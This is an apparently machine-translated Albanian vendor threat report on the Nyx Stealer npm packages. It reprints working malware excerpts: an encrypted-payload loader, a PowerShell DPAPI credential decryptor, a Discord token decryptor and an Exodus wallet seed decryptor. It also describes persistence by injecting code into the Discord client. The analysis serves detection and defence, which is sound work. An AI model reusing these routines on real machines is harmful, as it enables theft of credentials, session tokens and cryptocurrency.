npm Infostealer

Zbulim i ri i vjedhësit të informacionit npm: Nyx ​​Stealer rrëmben sesionet e Discord

TL; DR

Ekipi i Kërkimit të Sigurisë Xygeni identifikoi një fushatë të sofistikuar vjedhëse informacioni npm të ofruar përmes dy paketave dashakeqe: consolelofy selfbot-lofy.

Versioni më i fundit (consolelofy@1.3.0) përfshin një ngarkesë të enkriptuar me AES prej 216KB që dekripton në kohën e ekzekutimit dhe ekzekutohet nëpërmjet vm.runInNewContext()Meqenëse logjika keqdashëse është plotësisht e enkriptuar, skanerët statikë që mbështeten në inspektimin e vargut nuk mund ta vëzhgojnë sjelljen e saj deri në kohën e ekzekutimit.

Pasi të deshifrohet, ngarkesa, e markuar në mënyrë të brendshme Nyx Stealer, caqet:

  • Shenjat e vërtetimit të Discord
  • Mbi 50 dyqane kredencialesh shfletuesish
  • Mbi 90 zgjerime të portofolit të kriptomonedhave
  • Sesione në Roblox, Instagram, Spotify, Steam, Telegram dhe TikTok
  • Përhershmëria e klientit të desktopit Discord

Të 20 versionet në të dy paketat u raportuan dhe u konfirmuan si keqdashëse.

Përmbledhje Teknike e këtij npm Infostealer

Ndryshe nga programet keqdashëse tradicionale që instalohen në kohën e instalimit, kjo fushatë mbështetet në një Runtime modeli i deshifrimit.

Atje jane:

  • Pa qëllim të keq preinstall or postinstall hooks
  • Asnjë thirrje e dukshme e rrjetit në kohën e instalimit
  • Asnjë logjikë e mbledhjes së kredencialeve me tekst të thjeshtë

Ngarkesa aktivizohet kur moduli importohet. I gjithë trupi keqdashës është i enkriptuar dhe materializohet në memorie vetëm gjatë kohës së ekzekutimit.

Ky dizajn shmang posaçërisht zbulimin gjatë instalimit të paketës.

Si funksionon në të vërtetë ky vjedhës informacioni npm

Para se të analizojmë se çfarë vjedh Nyx Stealer, duhet të kuptojmë si ekzekutohet.

Logjika keqdashëse brenda këtij vjedhësi informacioni npm ndjek një model të qëndrueshëm:

Një ngarkues i vogël dekripton një ngarkesë të madhe të enkriptuar dhe e ekzekuton atë dinamikisht brenda një konteksti të Node.js VM.

Ky dizajn është i qëllimshëm. Sulmuesi nuk po e fsheh funksionalitetin vetëm pas errësirës, ​​ata janë duke hequr plotësisht kodin keqdashës nga dukshmëria statike.

Modeli i Ekzekutimit të Nivelit të Lartë

Në një nivel të lartë, mbështjellësi bën katër gjëra:

  • Nxjerr një çelës AES nga një fjalëkalim i koduar fort duke përdorur SHA-256
  • Dekripton një tekst të madh të koduar në formë heksadecimal duke përdorur AES-256-CBC
  • Ekzekuton JavaScript-in e deshifruar duke përdorur vm.runInNewContext()
  • Ofron një sandbox që ende ekspozon primitivë të fuqishëm të kohës së ekzekutimit.

Përmbledhje e Teknikës Bazë

Komponent Konfigurimi / Vlera
algoritmi AES-256-CBC
Derivimi i çelësit SHA-256 (fjalëkalim)
Vektori i Inicializimit (IV) 16 bajt të 0x00
Ekzekutim vm.runInNewContext(i deshifruar, sandbox)

Në mënyrë kritike, sandbox kalon nëpër:

  • require
  • process
  • Buffer
  • kohëmatës
  • eksportet e modulit

Kjo do të thotë që ngarkesa e deshifruar ruan aftësinë e plotë për të:

  • Proceset e krijimit
  • Lexoni dhe shkruani skedarë
  • Kryej thirrje rrjeti
  • Modifiko aplikacionet lokale

Kjo nuk është një VM e kufizuar. Është një VM që përdoret si një trampoline ekzekutimi.

Modeli i Enkriptimit në Kohën e Ekzekutimit (Mekanizmi i Ekzekutimit Bërthamë)

Ngarkuesi është i vogël.
Trupi keqdashës nuk është.

Më poshtë është modeli i ekzekutimit që gjendet brenda paketës:

const crypto = require('crypto'); const vm = require('vm');  function decryptAndExecute(encryptedHex, passphrase) {     const key = crypto.createHash('sha256')                       .update(passphrase)                       .digest();      const iv = Buffer.alloc(16, 0);      const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);     let decrypted = decipher.update(encryptedHex, 'hex', 'utf8');     decrypted += decipher.final('utf8');      const sandbox = {         require,         module,         exports,         console,         process,         Buffer,         __dirname,         __filename,         setTimeout,         setInterval,         clearTimeout,         clearInterval     };      vm.runInNewContext(decrypted, sandbox); }

Pse ky Çështjet

Ngarkesa e deshifruar:

  • A nuk ekzistojnë në tekst të thjeshtë brenda paketës npm
  • Është e padukshme për të thjeshtën grep ose skanim statik i vargut
  • Materializohet në kujtesë vetëm gjatë kohës së ekzekutimit
  • Ekzekuton me aftësi të plota të kohës së ekzekutimit të Node.

Ky kombinim ekzekutimi AES + VM është një tregues i fortë i sjelljes së një vjedhësi i informacionit npm përpiqet të shmangë inspektimin statik.

Me fjale te tjera:

Nëse skanoni pemën burimore të paketave, nuk do të shihni ndonjë vjedhës.
Ju shikoni një deshifrues.

Çfarë ndodh pas deshifrimit

Pasi ekzekutohet, Nyx Stealer nis valë paralele të mbledhjes së të dhënave.

Vala 1: Nxjerrja e kredencialeve të shfletuesit

Malware-i:

  • Shkarkon një runtime Python nga NuGet CDN
  • Instalon biblioteka kriptografike
  • Ekstrakton dyqanet e kredencialeve me bazë kromi
  • Dekripton sekretet e mbrojtura nga DPAPI

Në vend që të përpilojë lidhjet native, ai përdor PowerShell për të thirrur drejtpërdrejt DPAPI-n e Windows.

function dpapiUnprotectWithPowerShell(dataBuf) {     const b64 = dataBuf.toString('base64');      const ps =         "Add-Type -AssemblyName System.Security;" +         "$b=[Convert]::FromBase64String('" + b64 + "');" +         "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" +         "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" +         "[Console]::Out.Write([Convert]::ToBase64String($p))";      const cmd =         `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`;      return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); }

Kjo qasje:

  • Shmang artefaktet e kompilimit
  • Përdor API-të e kriptos vendase të Windows
  • Përzihet me mjetet administrative

Është deshifrim i kredencialeve në nivel sistemi operativ, jo mbledhje të të dhënave.

Vala 2: Dekriptimi i Tokenit të Discord

Vjedhësi është i vetëdijshëm për protokollin. Ai e kupton formatin e koduar të tokenit të Discord.

function decryptToken(encryptedToken, key) {     const tokenParts = encryptedToken.split('dQw4w9WgXcQ:');     const encryptedData = Buffer.from(tokenParts[1], 'base64');      const iv = encryptedData.slice(3, 15);     const ciphertext = encryptedData.slice(15, -16);     const tag = encryptedData.slice(-16);      const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);     decipher.setAuthTag(tag);      return decipher.update(ciphertext).toString('utf8'); }

Rrjedha operative:

  • Nxjerr çelësin kryesor nga Discord Local State
  • Dekripto çelësin kryesor nëpërmjet DPAPI-t
  • Dekripto blob-et e token-it AES-GCM
  • Validoni tokenët kundrejt Discord API
  • Pasurojeni me Nitro, distinktivë, informacion faturimi

Ky nuk është hedhje gjenerike e kredencialeve. Është rrëmbim sesioni i vetëdijshëm për protokollin.

Vala 3: Targetimi i Portofolit të Kriptomonedhave

Vjedhësi i informacionit npm numëron:

  • Mbi 90 zgjerime të portofolit të shfletuesit
  • 27 portofolë desktopi
  • Shtigjet e portofolit të ftohtë
  • Skedarët e farës së Exodus

Shembull përpjekjeje për deshifrimin e farës:

function decryptSeco(content, password) {     const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512');      const decipher = crypto.createDecipheriv(         'aes-256-gcm',         key,         content.slice(0, 12)     );      decipher.setAuthTag(content.slice(-16));      return Buffer.concat([         decipher.update(content.slice(12, -16)),         decipher.final()     ]).toString('utf8'); }

Nëse ka sukses, komprometimi i portofolit është i menjëhershëm dhe i pakthyeshëm.

Kjo përfaqëson vektorin e fitimit të parave me vlerën më të lartë të fushatës.

Qëndrueshmëria nëpërmjet Injeksionit të Desktopit Discord

Pas mbledhjes së kredencialeve, Nyx Stealer përpiqet të ruajë qëndrueshmërinë duke modifikuar të dhënat lokale. Mosmarrëveshje konsumatorëve.

Target:

%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js

Sekuenca operative

Vjedhësi i informacionit kryen hapat e mëposhtëm:

  • Përfundon ekzekutimin e proceseve Discord
  • Lokalizon variantet e instaluara të Discord (Stable, Canary, PTB)
  • Mbishkruan discord_desktop_core/index.js
  • Injektohet logjika e webhook-ut të kontrolluar nga sulmuesi
  • Rinis Discord-in

Kjo siguron që seancat e ardhshme të Discord të nxjerrin automatikisht tokena të reja të autentifikimit.

Është e rëndësishme të theksohet se kjo qëndrueshmëri nuk mbështetet në detyra të planifikuara ose modifikime të regjistrit. Ajo shfrytëzon modifikimin e kodit në nivel aplikacioni, një qasje më të fshehtë.

Edhe nëse paketa keqdashëse npm hiqet më vonë, klienti Discord mbetet i kompromentuar.

Krahasim Teknik: Selfbot Legjitim kundrejt npm Infostealer

Komponent Biblioteka Legjitime Vjedhësi i informacionit Nyx npm
Encryption Asnje Ngarkesë e plotë e enkriptuar me AES
VM në kohë ekzekutimi Nuk kërkohet vm.runInNewContext ekzekutim
Qasja në kredenciale Vetëm API-ja e Discord-it Shfletuesi, portofolet, DPAPI
Shkarkime të Jashtme jo Runtime i Python nëpërmjet NuGet
Këmbëngulje jo Injeksion klienti Discord
monetization Automatizimi i robotëve Rishitja e kredencialeve

Vetëm shtresa e enkriptimit e ndan këtë fushatë nga një degëzim tipik me burim të hapur.

Një selfbot i ligjshëm i Discord nuk ka arsye të enkriptojë të gjithë bazën e kodit të tij, të aktivizojë PowerShell për të aksesuar DPAPI, të shkarkojë kohëzgjatje të jashtme ekzekutimi ose të modifikojë brendësinë e aplikacioneve desktop. Kur këto aftësi shfaqen brenda një varësie që pretendon të automatizojë ndërveprimet e Discord, mospërputhja arkitekturore bëhet e pamundur të injorohet.

Nga pikëpamja e hetimit, ky vjedhës informacioni npm lë gjurmë në shtresa të shumëfishta. Megjithatë, treguesit më të besueshëm nuk janë URL-të e koduara ose shtigjet specifike të skedarëve, pasi ato mund të ndryshojnë midis versioneve. Në vend të kësaj, sinjalet e qëndrueshme janë strukturore.

Në nivelin e paketës, flamuri i kuq më i fortë është kombinimi i një ngarkese të madhe të enkriptuar dhe një mbështjellësi të dekriptimit në kohën e ekzekutimit që ekzekutohet menjëherë nëpërmjet vm.runInNewContext()Ndërkohë që enkriptimi vetëm nuk është në thelb keqdashës, përdorimi i dekriptimit AES i ndjekur nga ekzekutimi dinamik i VM brenda një pakete shërbimi Discord është shumë i pazakontë.

Në nivelin e hostit, modelet e dyshimta përfshijnë aktivitetin e papritur të dekriptimit të DPAPI, krijimin e procesit nga një kontekst varësie Node.js dhe modifikimin e skedarëve lokalë të aplikacionit që nuk duhet të ndryshohen kurrë nga bibliotekat e palëve të treta. Po kështu, në shtresën e rrjetit, komunikimi dalës në stilin webhook i iniciuar nga një varësi zhvillimi përfaqëson një anomali tjetër domethënëse.

Me fjalë të tjera, sipërfaqja e zbulimit nuk është një tregues i vetëm i kompromentimit. Është korrelacioni i enkriptimit, ekzekutimit në kohën e ekzekutimit, aksesit në kredenciale dhe sjelljes së qëndrueshmërisë që zbulon kërcënimin.

Zbulimi dhe Zbutja me Xygeni

npm Infostealer

Ky vjedhës informacioni npm u identifikua nga Paralajmërimi i Hershëm për Malware (MEW) i Xygenit nëpërmjet korrelacionit të shtresuar të sjelljes në vend të përputhjes së thjeshtë të nënshkrimit.

Në vend që të kërkojë vargje të njohura keqdashëse, MEW vlerëson anomalitë strukturore në të gjithë pemën burimore. Në këtë rast, zbulimi doli nga konvergjenca e disa sinjaleve: një rutinë e deshifrimit AES e integruar në pikën e hyrjes së modulit, ekzekutim i menjëhershëm brenda një konteksti VM dhe një mospërputhje e qartë e aftësisë me qëllimin.

Është e rëndësishme të theksohet se asnjë nga këto sinjale më vete nuk vërteton qëllim dashakeq. Megjithatë, kur analizohen së bashku, ato ekspozojnë një përpjekje për të fshehur sjelljen e kohës së ekzekutimit. Kjo qasje e shtresuar zvogëlon ndjeshëm pozitivët e rremë, ndërkohë që identifikon kërcënimet e zinxhirit të furnizimit me besim të lartë.

Për më tepër, ky rast ilustron pse vetëm inspektimi në kohën e instalimit është i pamjaftueshëm. Logjika keqdashëse nuk ndodhet në skriptet e ciklit jetësor. Ajo aktivizohet vetëm pasi moduli ngarkohet dhe bëhet e dukshme vetëm pasi të deshifrohet në memorie. Prandaj, mbrojtja efektive kërkon analizë të vetëdijshme për enkriptimin, njohje të modelit të sjelljes dhe monitorim të vazhdueshëm të varësisë përtej ngjarjeve të instalimit.

Heqja e regjistrit është reaktive. Analiza e ndërgjegjshme për kohën e ekzekutimit është parandaluese.

Pse ka rëndësi ky vjedhës informacioni npm

Nyx Stealer përfaqëson një evolucion strukturor në malware-in e bazuar në npm.

Historikisht, shumë paketa keqdashëse mbështeteshin në skripte të dukshme në kohën e instalimit ose në pikat fundore të dukshme të nxjerrjes së kredencialeve. Në të kundërt, kjo fushatë enkripton ngarkesën e saj, e shtyn ekzekutimin në kohën e ekzekutimit, shfrytëzon API-të legjitime të sistemit operativ dhe krijon qëndrueshmëri brenda aplikacioneve të besuara.

Si pasojë, sulmuesi nuk ka nevojë të shfrytëzojë vetë infrastrukturën npm. Në vend të kësaj, sulmi ka sukses sepse instalimi i varësisë nënkupton besim. Zhvilluesit supozojnë se importimi i një biblioteke është një operacion i sigurt, veçanërisht kur ajo paraqitet si një degëzim i besueshëm i një mjeti të njohur.

Ndërsa ekosistemet vazhdojnë të rriten dhe të shumohen degët, ai kufi i besimit implicit bëhet një sipërfaqe sulmi gjithnjë e më tërheqëse. Prandaj, mbrojtja kundër vjedhësve modernë të informacionit npm kërkon njohjen e modeleve arkitekturore në vend të kërkimit të vargjeve statike.

Në fund të fundit, kjo fushatë përforcon një mësim të rëndësishëm në software supply chain securityKërcënimet më të rrezikshme nuk janë ato që duken keqdashëse në shikim të parë, por ato që duken strukturisht legjitime derisa koha e ekzekutimit të zbulojë sjelljen e tyre të vërtetë.

mjetet-e-për-përbërjes-së-softuerit-sca-tools
Përparësoni, korrigjoni dhe siguroni rreziqet e softuerit tuaj
Merrni Llogarinë tuaj Falas.
Nuk kërkohet kartë krediti.

Siguroni Zhvillimin dhe Ofrimin e Softuerit tuaj

me Xygeni Product Suite